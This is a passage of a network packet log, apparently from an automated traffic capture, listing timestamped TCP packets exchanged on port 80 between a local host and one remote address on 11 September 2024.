Sep 11, 2024 18:23:49.931776047 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.931778908 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931783915 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931791067 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931793928 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931797981 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931802988 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.931807041 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.931839943 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.963083982 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.963088989 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.963093996 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.963104963 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.963108063 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.963110924 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.963119030 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.963123083 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.963125944 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.963165045 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.963184118 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.963188887 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.963191986 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.963202953 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.963227034 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.963237047 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.963305950 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.963309050 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.963313103 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.963321924 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.963325977 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.963330030 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.963336945 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.963342905 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.963346958 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.963356972 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.963361979 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.963365078 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.963371992 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.963388920 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.963399887 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.963401079 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.963407993 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.963411093 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.963414907 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.963692904 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.963696957 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.963701010 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.963790894 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.963794947 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.963799000 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.963809967 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.963812113 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.963812113 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.963812113 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.963813066 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.963818073 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.963846922 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.963861942 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.963876963 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.963881016 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.963885069 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.963895082 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.963898897 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.963902950 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.963912010 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.963915110 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.963918924 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.963923931 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.963980913 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.963984966 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.963989019 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964008093 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964011908 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964015961 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964026928 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964030027 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964034081 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964045048 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964049101 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964067936 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.964067936 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.964067936 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.964067936 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.964067936 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.964207888 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964211941 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964216948 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964226961 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964231014 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964235067 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964238882 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964241982 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964246035 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964251041 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964252949 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.964253902 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964335918 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964339972 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964343071 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964354038 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964356899 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964360952 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964365005 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964369059 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964373112 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964378119 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964380980 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964396000 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.964396000 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.964396000 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.964421034 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.964421034 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.964457035 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964461088 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964556932 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964560986 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964565039 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964572906 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964576960 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964580059 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964584112 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964589119 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964592934 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964597940 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964602947 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964606047 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964610100 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964615107 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964668989 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.964668989 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.964668989 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.964668989 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.964668989 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.964751959 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964756966 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964761019 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964771986 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964775085 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964777946 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964783907 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964787006 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964792013 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964802027 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964819908 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964823961 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964827061 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964832067 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964833021 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.964833021 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.964837074 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964839935 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.964853048 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.965290070 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.187864065 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.187872887 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.187880993 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.187895060 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.187899113 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.187903881 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.187910080 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.187913895 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.187920094 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.187951088 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.187953949 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.187958002 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.187963009 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.187973022 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.187977076 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.187979937 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.187984943 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188165903 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188170910 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188174963 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188214064 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188219070 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188222885 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188234091 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188236952 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188241959 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188260078 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.188260078 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.188260078 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.188260078 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.188260078 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.188277960 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.188364029 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188369036 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188374043 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188385010 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188388109 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188391924 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188395977 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188400030 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188405991 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188411951 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188414097 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188419104 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188433886 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.188436985 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188551903 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188555956 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188560009 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188570976 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188575029 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188579082 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188585043 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188590050 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188600063 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188606024 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188608885 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188612938 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188618898 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188623905 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188633919 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188638926 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188640118 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.188640118 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.188640118 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.188640118 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.188640118 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.188811064 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188816071 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188818932 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188832045 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188837051 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188838005 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.188841105 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188846111 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188851118 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188857079 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188860893 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188865900 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188868999 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188874006 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188879967 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188884020 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188889027 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188895941 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188899994 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188967943 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188971996 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188977003 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188987970 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188991070 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.188994884 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.189001083 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.189011097 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.189011097 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.189011097 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.189011097 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.189011097 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.189023972 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.189035892 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.189085960 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.189090967 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.189095020 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.189105988 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.189109087 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.189112902 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.189117908 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.189299107 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.189304113 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.189307928 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.189317942 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.189321995 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.189327002 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.189332008 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.189338923 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.189347982 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.189351082 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.189351082 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.189351082 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.189351082 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.189356089 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.189363956 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.189368010 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.189372063 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.189383030 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.189387083 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.189388037 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.189390898 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.189419031 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.189419031 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.189460039 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.189465046 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.189470053 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.189480066 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.189480066 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.189485073 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.189488888 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.189493895 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.189497948 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.189502954 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.189507961 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.189512014 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.189517021 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.189614058 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.189618111 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.189623117 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.189634085 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.189639091 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.189642906 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.189649105 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.189652920 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.189657927 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.189668894 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.189671993 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.189676046 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.189682007 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.189742088 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.189742088 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.189742088 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.189742088 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.189742088 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.193051100 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.193054914 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.193058968 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.193388939 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.193948030 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194027901 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194031954 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194041967 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194047928 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194051027 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194062948 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194072008 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194077015 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194086075 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194091082 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194094896 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194098949 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194149017 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.194154024 CEST	80	49710	104.21.14.133	192.168.2.5
